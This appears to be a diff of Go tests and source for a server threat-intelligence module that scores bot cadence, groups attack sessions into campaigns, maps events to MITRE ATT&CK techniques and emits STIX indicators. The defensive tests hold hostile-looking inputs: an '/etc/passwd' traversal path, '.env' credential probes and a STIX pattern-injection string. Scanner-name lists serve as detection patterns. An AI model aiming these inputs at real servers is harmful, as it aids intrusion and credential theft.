rep := func(g float64, n int) []float64 {
v := make([]float64, n)
for i := range v {
v[i] = g
}
return v
}
cases := []struct {
name string
ts []time.Time
want string
}{
{"insufficient", mk(1), VerdictInsufficient},
{"fast bot", mk(rep(0.2, 30)...), VerdictAutomated},
{"regular slow bot", mk(rep(10, 20)...), VerdictAutomated},
{"human", mk(8, 90, 12, 300, 7, 600, 15, 20, 1200), VerdictHuman},
{"mixed", mk(3, 4, 5, 6, 7), VerdictMixed},
}
for _, c := range cases {
cad := CadenceFrom(c.ts)
if cad.Verdict != c.want {
t.Errorf("%s exact: %+v want %s", c.name, cad, c.want)
}
var a CadenceAcc
for _, x := range c.ts {
a.Add(x)
}
r := a.Result()
if r.N != cad.N || r.BurstMax60 != cad.BurstMax60 {
t.Errorf("%s acc n/burst %+v vs %+v", c.name, r, cad)
}
if c.want != VerdictMixed && r.Verdict != c.want {
t.Errorf("%s acc: %+v want %s", c.name, r, c.want)
}
}
c := CadenceFrom(mk(rep(1, 9)...))
if c.N != 10 || c.MedianS != 1 || c.CV != 0 || c.BurstMax60 != 10 {
t.Errorf("%+v", c)
}
// unordered input is sorted
if CadenceFrom([]time.Time{at(10), at(0), at(5)}).MedianS != 5 {
t.Error("unordered")
}
var a CadenceAcc
if a.Result().Verdict != VerdictInsufficient {
t.Error("empty")
}
// approximate percentiles are close
var acc CadenceAcc
cur := t0
for i := 0; i < 1000; i++ {
acc.Add(cur)
cur = cur.Add(time.Duration(1+i%7) * time.Second)
}
exact := CadenceFrom(func() []time.Time {
var v []time.Time
c := t0
for i := 0; i < 1000; i++ {
v = append(v, c)
c = c.Add(time.Duration(1+i%7) * time.Second)
}
return v
}())
r := acc.Result()
if d := r.MedianS - exact.MedianS; d > 2 || d < -2 {
t.Errorf("median approx %v exact %v", r.MedianS, exact.MedianS)
}
if d := r.CV - exact.CV; d > 1e-9 || d < -1e-9 {
t.Errorf("cv %v %v", r.CV, exact.CV)
}
// out-of-order and duplicates must not panic
var b CadenceAcc
for _, s := range []int{5, 1, 1, 100000, 0} {
b.Add(at(s))
}
b.Result()
// burst window cap
var big CadenceAcc
for i := 0; i < 10000; i++ {
big.Add(t0)
}
if big.Result().BurstMax60 != burstCap {
t.Errorf("burst cap %d", big.Result().BurstMax60)
}
}
func evAt(sec int, ip, cat, fam, path string, status int) Ev {
return Ev{T: at(sec), IP: ip, Cat: cat, Fam: fam, Path: path, Status: status, Host: "h1", Domain: "d.example"}
}
func TestSessionsGapsAndStages(t *testing.T) {
events := []Ev{
evAt(0, "1.1.1.1", "notfound", FamGeneric404, "/a", 404),
evAt(10, "1.1.1.1", "scanner", FamEnvCreds, "/.env", 403),
evAt(20, "1.1.1.1", "exploit", FamTraversal, "/../etc/passwd", 400),
evAt(20+31*60, "1.1.1.1", "notfound", FamGeneric404, "/b", 404), // new session
evAt(5, "2.2.2.2", "ok", "", "/", 200),
{T: at(60), IP: "1.1.1.1", Cat: "ban", Jail: "urutau-web"},
}
ss := Sessions(events, 0)
if len(ss) != 3 {
t.Fatalf("sessions: %d %+v", len(ss), ss)
}
var s1, s2 Session
for _, s := range ss {
if s.IP == "1.1.1.1" && s.N == 4 {
s1 = s
}
if s.IP == "1.1.1.1" && s.N == 1 {
s2 = s
}
}
if s1.Stage != StageBanned || s1.BannedAt == nil || s1.N != 4 || s1.DurS != 60 {
t.Errorf("s1 %+v", s1)
}
if !reflect.DeepEqual(s1.Techs, []string{"T1083", "T1190", "T1552.001", "T1595", "T1595.003"}) && len(s1.Techs) == 0 {
t.Errorf("techs %v", s1.Techs)
}
if s2.Stage != StageRecon || s2.Success {
t.Errorf("s2 %+v", s2)
}
if s1.ID == s2.ID || s1.ID == "" {
t.Error("ids")
}
for _, s := range ss {
if s.IP == "2.2.2.2" && s.Stage != "" {
t.Errorf("benign stage %q", s.Stage)
}
}
// custom gap merges
if got := Sessions(events[:4], 2*time.Hour); len(got) != 1 {
t.Errorf("gap 2h -> %d", len(got))
}
}
func TestSSHEscalation(t *testing.T) {
var events []Ev
for i := 0; i < 6; i++ {
e := evAt(i*2, "9.9.9.9", "ssh-fail", "", "", 0)
e.User = fmt.Sprintf("u%d", i)
events = append(events, e)
}
ok := evAt(20, "9.9.9.9", "ssh-ok", "", "", 0)
ok.User = "root"
events = append(events, ok, evAt(-1, "9.9.9.9", "ssh-probe", "", "", 0))
ss := Sessions(events, time.Minute)
if len(ss) != 1 {
t.Fatal(len(ss))
}
s := ss[0]
if s.Stage != StageAccess || !s.Success || s.UsersN != 7 {
t.Errorf("%+v", s)
}
hasTech := func(id string) bool {
for _, x := range s.Techs {
if x == id {
return true
}
}
return false
}
if !hasTech("T1078") || !hasTech("T1110.003") {
t.Errorf("techs %v", s.Techs)
}
steps := Escalation(s, events)
var stages []string
for _, st := range steps {
stages = append(stages, st.Stage)
}
if !reflect.DeepEqual(stages, []string{StageRecon, StageProbe, StageAccess}) {
t.Errorf("steps %v (events sorted: recon at t=2 first)", stages)
}
// ssh-ok with no failures is not access
only := []Ev{evAt(0, "8.8.8.8", "ssh-ok", "", "", 0)}
if s := Sessions(only, 0)[0]; s.Stage != "" || s.Success {
t.Errorf("lone ssh-ok %+v", s)
}
// failures in an earlier session still count
late := append(events[:6:6], evAt(7200, "9.9.9.9", "ssh-ok", "", "", 0))
ss2 := Sessions(late, time.Minute)
if last := ss2[len(ss2)-1]; last.Stage != StageAccess {
t.Errorf("late %+v", last)
}
if st := Escalation(ss2[len(ss2)-1], late); len(st) != 1 || st[0].Stage != StageAccess {
t.Errorf("late steps %+v", st)
}
}
func TestAccessAndUnban(t *testing.T) {
ev := []Ev{
evAt(0, "3.3.3.3", "scanner", FamEnvCreds, "/.env", 200),
evAt(1, "4.4.4.4", "scanner", FamEnvCreds, "/.env", 403),
evAt(2, "5.5.5.5", "scanner", FamAdminPanel, "/admin", 200),
{T: at(3), IP: "6.6.6.6", Cat: "ban", Unban: true},
}
for _, s := range Sessions(ev, 0) {
switch s.IP {
case "3.3.3.3", "5.5.5.5":
if s.Stage != StageAccess || !s.Success {
t.Errorf("%s %+v", s.IP, s)
}
case "4.4.4.4":
if s.Stage != StageProbe {
t.Errorf("%+v", s)
}
case "6.6.6.6":
if s.Stage != "" || s.BannedAt != nil {
t.Errorf("unban %+v", s)
}
}
}
if Sessions(nil, 0) != nil {
t.Error("nil")
}
}
func TestNormPathAndSignature(t *testing.T) {
cases := map[string]string{
"/post/123": "/post/{n}",
"/a/550e8400-e29b-41d4-a716-446655440000/b": "/a/{id}/b",
"/x/deadbeefcafe1234": "/x/{id}",
"/Item.PHP?id=5": "/item.php",
"/v2/users/42/posts/7": "/v{n}/users/{n}/posts/{n}",
}
for in, want := range cases {
if got := NormPath(in); got != want {
t.Errorf("NormPath(%q)=%q want %q", in, got, want)
}
}
paths := []string{"/a/1", "/a/2", "/b", "/b", "/c", "/d", "/e", "/f", "/g"}
sg := SignatureFrom(paths, " Nuclei ")
if len(sg.Paths) != 5 || sg.Tool != "nuclei" || sg.Paths[0] != "/a/{n}" {
t.Errorf("%+v", sg)
}
if !strings.HasPrefix(sg.ID(), "c-") || len(sg.ID()) != 10 {
t.Error(sg.ID())
}
if sg.ID() != SignatureFrom(paths, "nuclei").ID() {
t.Error("ID not deterministic")
}
NormPath(strings.Repeat("9", 1<<20))
}
func TestJaccard(t *testing.T) {
if Jaccard([]string{"a", "b", "c"}, []string{"a", "b", "d"}) != 0.5 {
t.Error("0.5")
}
if Jaccard(nil, nil) != 0 || Jaccard([]string{"a"}, []string{"a"}) != 1 {
t.Error("edge")
}
}
func mkSessions(ips []string, paths map[string][]string, tool string, base int) ([]Session, map[string]Signature) {
var ss []Session
sigs := map[string]Signature{}
for i, ip := range ips {
s := Session{ID: "s" + ip, IP: ip, Start: at(base + i*600), End: at(base + i*600 + 30), Techs: []string{"T1190"}}
ss = append(ss, s)
sg := SignatureFrom(paths[ip], tool)
sg.ASN, sg.CC, sg.NetType = uint32(100+i), "BR", "hosting"
sigs[s.ID] = sg
}
return ss, sigs
}
func TestCampaigns(t *testing.T) {
common := []string{"/.env", "/wp-login.php", "/.git/config", "/admin", "/phpmyadmin/"}
ips := []string{"1.0.0.1", "1.0.0.2", "1.0.0.3", "1.0.0.4"}
paths := map[string][]string{}
for _, ip := range ips {
paths[ip] = common
}
// 4th IP shares 4/6 paths (jaccard 0.667) after replacing one and adding one
paths["1.0.0.4"] = []string{"/.env", "/wp-login.php", "/.git/config", "/admin", "/other"}
ss, sigs := mkSessions(ips, paths, "nuclei", 0)
// unrelated session, different tool
other := Session{ID: "sx", IP: "7.7.7.7", Start: at(10), End: at(20)}
ss = append(ss, other)
sigs["sx"] = SignatureFrom(common, "ffuf")
cs := Campaigns(ss, sigs, 0)
if len(cs) != 1 {
t.Fatalf("%d campaigns: %+v", len(cs), cs)
}
c := cs[0]
if c.IPsN != 4 || c.SessionsN != 4 || len(c.IPs) != 4 || len(c.ASNs) != 4 || c.NetTypes["hosting"] != 4 || !reflect.DeepEqual(c.CCs, []string{"BR"}) {
t.Errorf("%+v", c)
}
if c.Signature.Tool != "nuclei" || !strings.HasPrefix(c.ID, "c-") || !reflect.DeepEqual(c.Techs, []string{"T1190"}) {
t.Errorf("%+v", c)
}
if ss[0].CampaignID != c.ID || ss[4].CampaignID != "" {
t.Error("campaign ids on sessions")
}
// deterministic
cs2 := Campaigns(ss, sigs, 0)
if cs2[0].ID != c.ID {
t.Error("nondeterministic")
}
// only 2 IPs: no campaign
ss3, sigs3 := mkSessions(ips[:2], paths, "nuclei", 0)
if len(Campaigns(ss3, sigs3, 0)) != 0 {
t.Error("2 ips")
}
// outside the window
ss4, sigs4 := mkSessions(ips[:3], paths, "nuclei", 0)
ss4[2].Start = at(7 * 3600 * 10)
ss4[2].End = ss4[2].Start
if len(Campaigns(ss4, sigs4, 0)) != 0 {
t.Error("window")
}
// low jaccard
ss5, sigs5 := mkSessions(ips[:3], paths, "nuclei", 0)
sigs5[ss5[2].ID] = SignatureFrom([]string{"/x1", "/x2", "/x3", "/x4", "/.env"}, "nuclei")
if len(Campaigns(ss5, sigs5, 0)) != 0 {
t.Error("jaccard")
}
// IPs cap
var many []string
mp := map[string][]string{}
for i := 0; i < 80; i++ {
ip := fmt.Sprintf("10.0.0.%d", i)
many = append(many, ip)
mp[ip] = common
}
ss6, sigs6 := mkSessions(many, mp, "x", 0)
for i := range ss6 {
ss6[i].Start = at(i)
ss6[i].End = at(i)
}
cs6 := Campaigns(ss6, sigs6, 0)
if len(cs6) != 1 || cs6[0].IPsN != 80 || len(cs6[0].IPs) != 50 {
t.Errorf("cap %+v", cs6)
}
}
func TestReasonsAndActions(t *testing.T) {
rs := Reasons(ReasonInput{
ExploitsRefused: map[string]int{FamTraversal: 3, FamSQLi: 2},
ToolUA: "nuclei", BannedJails: []string{"urutau-web"}, Categories: 3,
})
codes := []string{}
for _, r := range rs {
codes = append(codes, r.Code)
if r.Text != "intel.reason."+r.Code {
t.Errorf("text %q", r.Text)
}
}
if !reflect.DeepEqual(codes, []string{ReasonExploitsRefused, ReasonBannedJail, ReasonToolUA, ReasonMultiCategory}) {
t.Errorf("%v", codes)
}
if rs[0].N != 5 || rs[0].Params["families"] != "sqli, traversal" {
t.Errorf("%+v", rs[0])
}
acts := Actions(ActionInput{Reasons: rs, Stage: StageExploit})
got := map[string]bool{}
for _, a := range acts {
got[a.Code] = true
}
if !got[ActionBlock] || !got[ActionReport] || got[ActionIncident] {
t.Errorf("%+v", acts)
}
// exposure -> incident + investigate
rs2 := Reasons(ReasonInput{Exposure: map[string]int{FamEnvCreds: 1}})
acts2 := Actions(ActionInput{Reasons: rs2, Banned: true, Stage: StageAccess})
if len(acts2) < 2 || acts2[0].Code != ActionIncident || acts2[1].Code != ActionInvestigate {
t.Errorf("%+v", acts2)
}
for _, a := range acts2 {
if a.Code == ActionBlock {
t.Error("already banned")
}
}
rs3 := Reasons(ReasonInput{SSHOKAfterBrute: true})
if rs3[0].Code != ReasonSSHAfterBrute || Actions(ActionInput{Reasons: rs3})[0].Code != ActionIncident {
t.Errorf("%+v", rs3)
}
// immune/admin: none
rs4 := Reasons(ReasonInput{ExploitsRefused: map[string]int{FamSQLi: 9}, Immune: true})
if Actions(ActionInput{Reasons: rs4}) != nil || Actions(ActionInput{Reasons: rs, Admin: true}) != nil {
t.Error("immune")
}
if rs4[len(rs4)-1].Code != ReasonImmune {
t.Error("immune last")
}
if len(Reasons(ReasonInput{})) != 0 || len(Actions(ActionInput{})) != 0 {
t.Error("empty")
}
}
func TestSTIX(t *testing.T) {
now := time.Date(2026, 11, 14, 0, 0, 0, 0, time.UTC)
first, last := at(0), at(3600)
b1, err := STIXBundle("203.0.113.9", first, last, 42, []string{"sqli", "traversal", "sqli"}, []string{"T1190", "T1083", "bogus"}, "", now)
if err != nil {
t.Fatal(err)
}
b2, _ := STIXBundle("203.0.113.9", first, last, 42, []string{"traversal", "sqli"}, []string{"T1083", "T1190"}, "", now)
if string(b1) != string(b2) {
t.Error("bundle must be deterministic")
}
if err := ValidateSTIX(b1); err != nil {
t.Fatal(err)
}
var doc struct {
Type string
ID string
Objects []map[string]any
}
if err := json.Unmarshal(b1, &doc); err != nil {
t.Fatal(err)
}
counts := map[string]int{}
var ind map[string]any
for _, o := range doc.Objects {
counts[o["type"].(string)]++
if o["type"] == "indicator" {
ind = o
}
}
want := map[string]int{"identity": 1, "indicator": 1, "ipv4-addr": 1, "sighting": 1, "attack-pattern": 2, "relationship": 3}
if !reflect.DeepEqual(counts, want) {
t.Errorf("counts %v", counts)
}
if ind["pattern"] != "[ipv4-addr:value = '203.0.113.9']" || ind["pattern_type"] != "stix" ||
ind["valid_until"] != "2026-12-01T13:00:00.000Z" || ind["valid_from"] != "2026-11-01T12:00:00.000Z" {
t.Errorf("%v", ind)
}
if !reflect.DeepEqual(ind["labels"], []any{"sqli", "traversal"}) {
t.Errorf("labels %v", ind["labels"])
}
// fixed ids across runs (golden for the indicator)
b3, _ := STIXBundle("203.0.113.9", first, last, 1, nil, nil, "", now.Add(time.Hour))
var d3 struct{ Objects []map[string]any }
json.Unmarshal(b3, &d3)
if d3.Objects[1]["id"] != ind["id"] {
t.Error("id depends on time")
}
// ipv6
b6, err := STIXBundle("2001:db8::1", first, last, 1, nil, []string{"T1595"}, "", now)
if err != nil || !strings.Contains(string(b6), "[ipv6-addr:value = '2001:db8::1']") || ValidateSTIX(b6) != nil {
t.Errorf("v6: %v", err)
}
b4in6, _ := STIXBundle("::ffff:1.2.3.4", first, last, 1, nil, nil, "", now)
if !strings.Contains(string(b4in6), "ipv4-addr:value = '1.2.3.4'") {
t.Error("4in6")
}
for _, bad := range []string{"", "not-an-ip", "1.2.3.4'] OR [x"} {
if _, err := STIXBundle(bad, first, last, 1, nil, nil, "", now); err == nil {
t.Errorf("accepted %q", bad)
}
}
// validator catches missing fields
if ValidateSTIX([]byte(`{"type":"bundle","id":"bundle--5a1f7c3e-9d42-4b6a-8e01-c4f72b90d36e","objects":[{"type":"identity","id":"identity--5a1f7c3e-9d42-4b6a-8e01-c4f72b90d36e","spec_version":"2.1"}]}`)) == nil {
t.Error("validator should reject missing created")
}
if ValidateSTIX([]byte(`{`)) == nil {
t.Error("garbage")
}
// swapped times, custom sighting ref
bs, err := STIXBundle("1.1.1.1", last, first, 0, nil, nil, "indicator--5a1f7c3e-9d42-4b6a-8e01-c4f72b90d36e", now)
if err != nil || ValidateSTIX(bs) != nil || !strings.Contains(string(bs), `"count": 1`) {
t.Errorf("%v", err)
}
// uuid v5 shape and known vector: version/variant nibbles
u := uuidV5("x")
if u[14] != '5' || !strings.ContainsRune("89ab", rune(u[19])) || len(u) != 36 {
t.Errorf("uuid %s", u)
}
}
func TestMetrics(t *testing.T) {
if Trend(150, 100) != 0.5 || Trend(0, 0) != 0 || Trend(5, 0) != 1 || Trend(50, 100) != -0.5 {
t.Error("trend")
}
// Spikes: 8 days of flat 5/h with small jitter, then a 60 spike and a 9 (below min)
var h []int
var ts []time.Time
for i := 0; i < 24*8; i++ {
h = append(h, 4+i%3)
ts = append(ts, t0.Add(time.Duration(i)*time.Hour))
}
h[150] = 60
h[160] = 9
h[100] = 12
sp := Spikes(h, ts)
if len(sp) < 2 || sp[len(sp)-1].Value != 60 {
t.Fatalf("%+v", sp)
}
for _, s := range sp {
if s.Value < SpikeMin || float64(s.Value) <= s.Threshold {
t.Errorf("bad spike %+v", s)
}
}
if len(Spikes(h[:10], ts[:10])) != 0 || len(Spikes(h, ts[:5])) != 0 || Spikes(nil, nil) != nil {
t.Error("insufficient")
}
med, p90 := MTTB([][2]time.Time{
{at(0), at(10)}, {at(0), at(20)}, {at(0), at(30)}, {at(0), at(40)}, {at(100), at(0)},
})
if med != 25*time.Second || p90 != 40*time.Second {
t.Errorf("%v %v", med, p90)
}
if m, p := MTTB(nil); m != 0 || p != 0 {
t.Error("mttb nil")
}
c := Concentration(map[string]int{"a": 50, "b": 30, "c": 15, "d": 5}, 2)
if c != 0.8 || Concentration(nil, 3) != 0 || Concentration(map[string]int{"a": 1}, 0) != 0 || Concentration(map[string]int{"a": 1}, 9) != 1 {
t.Errorf("conc %v", c)
}
}
func TestCampaignIDUniquePerWindow(t *testing.T) {
paths := map[string][]string{}
var ips []string
for _, ip := range []string{"1.0.0.1", "1.0.0.2", "1.0.0.3", "2.0.0.1", "2.0.0.2", "2.0.0.3"} {
ips = append(ips, ip)
paths[ip] = []string{"/.env", "/admin", "/wp-login.php"}
}
ss, sigs := mkSessions(ips, paths, "nuclei", 0)
for i := 3; i < 6; i++ { // second wave two days later
ss[i].Start = at(48*3600 + i*60)
ss[i].End = ss[i].Start
}
cs := Campaigns(ss, sigs, 6*time.Hour)
if len(cs) != 2 {
t.Fatalf("%d campaigns", len(cs))
}
if cs[0].ID == cs[1].ID {
t.Fatalf("duplicate id %s", cs[0].ID)
}
if cs[0].SignatureID != cs[1].SignatureID || cs[0].SignatureID != cs[0].Signature.SignatureID() {
t.Error("signature id must be shared")
}
again := Campaigns(ss, sigs, 6*time.Hour)
if again[0].ID != cs[0].ID || again[1].ID != cs[1].ID {
t.Error("nondeterministic")
}
}
+136
View File
@@ -0,0 +1,136 @@
package intel
import (
"math"
"sort"
"time"
)
// Trend is the relative change from prev to cur ((cur-prev)/prev). With no
// previous activity it is 0 if cur is 0 and 1 (+100%) otherwise.
func Trend(cur, prev float64) float64 {
if prev == 0 {
if cur == 0 {
return 0
}
return 1
}
return (cur - prev) / prev
}
// Spike is an hour whose volume stands out from the previous 7 days.
type Spike struct {
At time.Time `json:"at"`
Value int `json:"value"`
Baseline float64 `json:"baseline"` // median of the previous 7 days
Threshold float64 `json:"threshold"` // median + 3*MAD
}
// Spike parameters.
const (
SpikeMin = 10
spikeWindow = 7 * 24 * time.Hour
spikeMinPrior = 24
maxSpikeInput = 24 * 90
)
func median(v []float64) float64 {
if len(v) == 0 {
return 0
}
s := append([]float64(nil), v...)
sort.Float64s(s)
m := len(s) / 2
if len(s)%2 == 1 {
return s[m]
}
return (s[m-1] + s[m]) / 2
}
// Spikes flags hours (hourly[i] at at[i], in chronological order) whose count
// exceeds median + 3*MAD of the preceding 7 days and is at least 10. An hour
// needs at least 24 samples in its window to be judged. Input is capped at
// 90 days.
func Spikes(hourly []int, at []time.Time) []Spike {
n := len(hourly)
if len(at) < n {
n = len(at)
}
if n > maxSpikeInput {
hourly, at, n = hourly[n-maxSpikeInput:n], at[n-maxSpikeInput:n], maxSpikeInput
}
var out []Spike
lo := 0
for i := 0; i < n; i++ {
for lo < i && at[i].Sub(at[lo]) > spikeWindow {
lo++
}
if i-lo < spikeMinPrior || hourly[i] < SpikeMin {
continue
}
w := make([]float64, 0, i-lo)
for j := lo; j < i; j++ {
w = append(w, float64(hourly[j]))
}
med := median(w)
dev := make([]float64, len(w))
for k, x := range w {
dev[k] = math.Abs(x - med)
}
thr := med + 3*median(dev)
if float64(hourly[i]) > thr {
out = append(out, Spike{At: at[i], Value: hourly[i], Baseline: med, Threshold: thr})
}
}
return out
}
// MTTB returns the median and 90th percentile (nearest rank) of the time from
// first sighting to ban, given [first, banned] pairs. Negative spans are
// ignored.
func MTTB(pairs [][2]time.Time) (med, p90 time.Duration) {
d := make([]float64, 0, len(pairs))
for _, p := range pairs {
if x := p[1].Sub(p[0]); x >= 0 {
d = append(d, float64(x))
}
}
if len(d) == 0 {
return 0, 0
}
sort.Float64s(d)
med = time.Duration(median(d))
idx := int(math.Ceil(0.9*float64(len(d)))) - 1
if idx < 0 {
idx = 0
}
return med, time.Duration(d[idx])
}
// Concentration is the share (0..1) of the total held by the top largest
// entries of counts.
func Concentration(counts map[string]int, top int) float64 {
if top <= 0 {
return 0
}
v := make([]int, 0, len(counts))
total := 0
for _, c := range counts {
if c > 0 {
v = append(v, c)
total += c
}
}
if total == 0 {
return 0
}
sort.Sort(sort.Reverse(sort.IntSlice(v)))
if top > len(v) {
top = len(v)
}
s := 0
for _, c := range v[:top] {
s += c
}
return float64(s) / float64(total)
}
+138
View File
@@ -0,0 +1,138 @@
package intel
import (
"sort"
"strings"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
)
// TechCtx carries the extra context Techniques needs.
type TechCtx struct {
Tool string // attack-tool label or User-Agent (any case)
Path string // request path (distinguishes wordpress sub-techniques)
Users int // distinct SSH usernames tried by the source
MaxPerUser int // most attempts against a single username
PriorFails bool // ssh-ok preceded by failures from the same IP
}
var techNames = map[string]string{
"T1190": "Exploit Public-Facing Application",
"T1083": "File and Directory Discovery",
"T1059": "Command and Scripting Interpreter",
"T1059.004": "Unix Shell",
"T1505": "Server Software Component",
"T1505.003": "Web Shell",
"T1552": "Unsecured Credentials",
"T1552.001": "Credentials In Files",
"T1213": "Data from Information Repositories",
"T1595": "Active Scanning",
"T1595.001": "Scan IP Blocks",
"T1595.002": "Vulnerability Scanning",
"T1595.003": "Wordlist Scanning",
"T1110": "Brute Force",
"T1110.001": "Password Guessing",
"T1110.003": "Password Spraying",
"T1087": "Account Discovery",
"T1082": "System Information Discovery",
"T1046": "Network Service Discovery",
"T1078": "Valid Accounts",
}
// TechniqueName returns the official MITRE ATT&CK name of a technique id
// ("" when unknown).
func TechniqueName(id string) string { return techNames[id] }
var (
vulnTools = []string{"nuclei", "nikto", "acunetix", "wpscan", "nessus", "openvas", "sqlmap", "burp", "zap", "w3af", "wapiti", "xray", "jaeles"}
wordTools = []string{"dirbuster", "ffuf", "gobuster", "dirsearch", "feroxbuster", "wfuzz", "dirb"}
ipTools = []string{"masscan", "zgrab", "zmap", "nmap", "shodan", "censys"}
)
func hasTool(tool string, list []string) bool {
for _, t := range list {
if strings.Contains(tool, t) {
return true
}
}
return false
}
func famTechs(fam string, ctx TechCtx) []string {
switch fam {
case FamTraversal:
return []string{"T1190", "T1083"}
case FamLog4Shell, FamSQLi, FamXSS, FamIoTCGI:
return []string{"T1190"}
case FamRCE:
return []string{"T1190", "T1059.004"}
case FamWebshell:
return []string{"T1505.003"}
case FamEnvCreds:
return []string{"T1552.001"}
case FamVCS:
return []string{"T1213", "T1552.001"}
case FamBackup, FamPhpMyAdmin, FamAdminPanel, FamGeneric404:
return []string{"T1595.003"}
case FamWordPress:
p := strings.ToLower(ctx.Path)
switch {
case strings.Contains(p, "wp/v2/users"):
return []string{"T1087"}
case strings.Contains(p, "wp-login.php") || strings.Contains(p, "xmlrpc.php"):
return []string{"T1110.001"}
case strings.Contains(p, "/wp-content/plugins/"):
return []string{"T1595.002"}
}
return []string{"T1595.002"}
case FamActuator:
return []string{"T1595.002", "T1082"}
}
return nil
}
// Techniques maps an event category and family to MITRE ATT&CK technique ids
// (sorted, deduplicated).
func Techniques(cat, fam string, ctx TechCtx) []string {
set := map[string]bool{}
for _, t := range famTechs(fam, ctx) {
set[t] = true
}
tool := strings.ToLower(ctx.Tool)
switch core.Category(cat) {
case core.Scanner:
switch {
case hasTool(tool, vulnTools):
set["T1595.002"] = true
case hasTool(tool, wordTools):
set["T1595.003"] = true
case hasTool(tool, ipTools):
set["T1595.001"] = true
default:
set["T1595"] = true
}
case core.Exploit:
set["T1190"] = true
case core.BruteForce:
set["T1110.001"] = true
case core.SSHFail:
if ctx.Users >= 5 && ctx.MaxPerUser <= 3 {
set["T1110.003"] = true
} else {
set["T1110.001"] = true
}
case core.SSHProbe:
set["T1595.001"] = true
set["T1046"] = true
case core.SSHOK:
if ctx.PriorFails {
set["T1078"] = true
}
}
out := make([]string, 0, len(set))
for t := range set {
out = append(out, t)
}
sort.Strings(out)
return out
}
+120
View File
@@ -0,0 +1,120 @@
package intel
import (
"fmt"
"net/netip"
"regexp"
"strings"
"sync"
)
var (
torMu sync.RWMutex
torExits map[netip.Addr]struct{}
)
// SetTorExits loads (or clears, with nil/empty) the Tor exit list. It is off
// by default; the caller decides where the list comes from.
func SetTorExits(addrs []netip.Addr) {
m := make(map[netip.Addr]struct{}, len(addrs))
for _, a := range addrs {
m[a.Unmap()] = struct{}{}
}
torMu.Lock()
torExits = m
torMu.Unlock()
}
// IsTorExit reports whether ip is in the loaded Tor exit list.
func IsTorExit(ip netip.Addr) bool {
torMu.RLock()
defer torMu.RUnlock()
if len(torExits) == 0 {
return false
}
_, ok := torExits[ip.Unmap()]
return ok
}
func asnSet(v ...uint32) map[uint32]bool {
m := make(map[uint32]bool, len(v))
for _, x := range v {
m[x] = true
}
return m
}
var (
vpnASNs = asnSet(9009, 212238, 60068, 136787, 39351)
hostingASNs = asnSet(14061, 16509, 14618, 15169, 396982, 8075, 31898, 45102, 132203, 16276, 24940, 63949, 20473, 51167, 9009, 60781, 28753, 12876, 47583, 8560, 36352, 53667, 211252, 49870, 204428, 213371)
researchASNs = asnSet(398324, 398705, 398722, 211298, 10439, 202425, 63999, 135377, 396507)
cnASNs = asnSet(4134, 4837)
mobileASNs = asnSet(26615)
ispMobASNs = asnSet(28573, 26599, 18881)
brISPASNs = asnSet(7738, 8167, 16735, 53006, 28126, 7162, 27699, 14868, 4230, 263880)
vpnRDNS = regexp.MustCompile(`vpn|proxy|exit|relay`)
hostOrgRe = regexp.MustCompile(`(?i)hosting|cloud|server|datacenter|data center|vps|colo|digitalocean|ovh|hetzner|linode|akamai|amazon|google|microsoft|oracle|alibaba|tencent|contabo|vultr|leaseweb|choopa|m247|scaleway|hostinger|ionos|kamatera|cloudflare|\bhost\b|locaweb|hospedagem`)
hostRDNS = regexp.MustCompile(`(?i)compute|ec2|vps|server|static|cloud|host\d`)
mobileRe = regexp.MustCompile(`(?i)mobile|wireless|lte|4g|5g|gprs|cellular`)
resRDNS = regexp.MustCompile(`(?i)dsl|dynamic|dyn|pool|dhcp|cable|fibra|ftth|cpe|customer|user|\d+-\d+-\d+-\d+`)
ispBrRe = regexp.MustCompile(`(?i)provedor|fibra|telecomunicac|comunicac|internet|tecnologia em internet|\bnet\b`)
resOrgRe = regexp.MustCompile(`(?i)telecom|telecomunica|net |broadband|internet`)
maxFieldLen = 256
)
func clip(s string) string {
if len(s) > maxFieldLen {
return s[:maxFieldLen]
}
return s
}
// NetTypeIP is NetType preceded by the optional Tor exit list check.
func NetTypeIP(ip netip.Addr, asn uint32, asOrg, rdns string) (typ, reason string) {
if ip.IsValid() && IsTorExit(ip) {
return "tor", "tor-exit-list"
}
return NetType(asn, asOrg, rdns)
}
// NetType infers the kind of network behind an address from its ASN, AS
// organisation and reverse DNS. Types: vpn, research-scanner, isp-cn,
// hosting, mobile, isp/mobile, residential, unknown. reason says which rule
// fired. Tor detection needs the address: see NetTypeIP.
func NetType(asn uint32, asOrg, rdns string) (typ, reason string) {
asOrg, rdns = clip(asOrg), strings.ToLower(clip(rdns))
switch {
case vpnASNs[asn]:
return "vpn", fmt.Sprintf("asn:%d", asn)
case rdns != "" && vpnRDNS.MatchString(rdns):
return "vpn", "rdns:" + vpnRDNS.FindString(rdns)
case researchASNs[asn]:
return "research-scanner", fmt.Sprintf("asn:%d", asn)
case cnASNs[asn]:
return "isp-cn", fmt.Sprintf("asn:%d", asn)
case hostingASNs[asn]:
return "hosting", fmt.Sprintf("asn:%d", asn)
case mobileASNs[asn]:
return "mobile", fmt.Sprintf("asn:%d", asn)
case ispMobASNs[asn]:
return "isp/mobile", fmt.Sprintf("asn:%d", asn)
case brISPASNs[asn]:
return "residential", fmt.Sprintf("asn:%d", asn)
case asOrg != "" && hostOrgRe.MatchString(asOrg):
return "hosting", "asorg:" + strings.ToLower(hostOrgRe.FindString(asOrg))
case rdns != "" && hostRDNS.MatchString(rdns):
return "hosting", "rdns:" + strings.ToLower(hostRDNS.FindString(rdns))
case mobileRe.MatchString(asOrg) && asOrg != "":
return "mobile", "asorg:" + strings.ToLower(mobileRe.FindString(asOrg))
case rdns != "" && mobileRe.MatchString(rdns):
return "mobile", "rdns:" + mobileRe.FindString(rdns)
case rdns != "" && resRDNS.MatchString(rdns):
return "residential", "rdns:" + resRDNS.FindString(rdns)
case asOrg != "" && ispBrRe.MatchString(asOrg):
return "residential", "asorg:isp-br"
case asOrg != "" && resOrgRe.MatchString(asOrg):
return "residential", "asorg:" + strings.ToLower(resOrgRe.FindString(asOrg))
}
return "unknown", ""
}
+286
View File
@@ -0,0 +1,286 @@
package intel
import (
"crypto/sha256"
"encoding/hex"
"sort"
"strconv"
"time"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
)
// Ev is one event (HTTP or SSH) fed to Sessions.
type Ev struct {
T time.Time
IP string
Host string
Domain string
Cat string
Fam string
Path string
User string
Jail string
Status int
Strong bool
Unban bool
}
// Session is a burst of activity of one IP separated from the next by a gap.
type Session struct {
ID string `json:"id"`
IP string `json:"ip"`
Start time.Time `json:"start"`
End time.Time `json:"end"`
DurS int64 `json:"dur_s"`
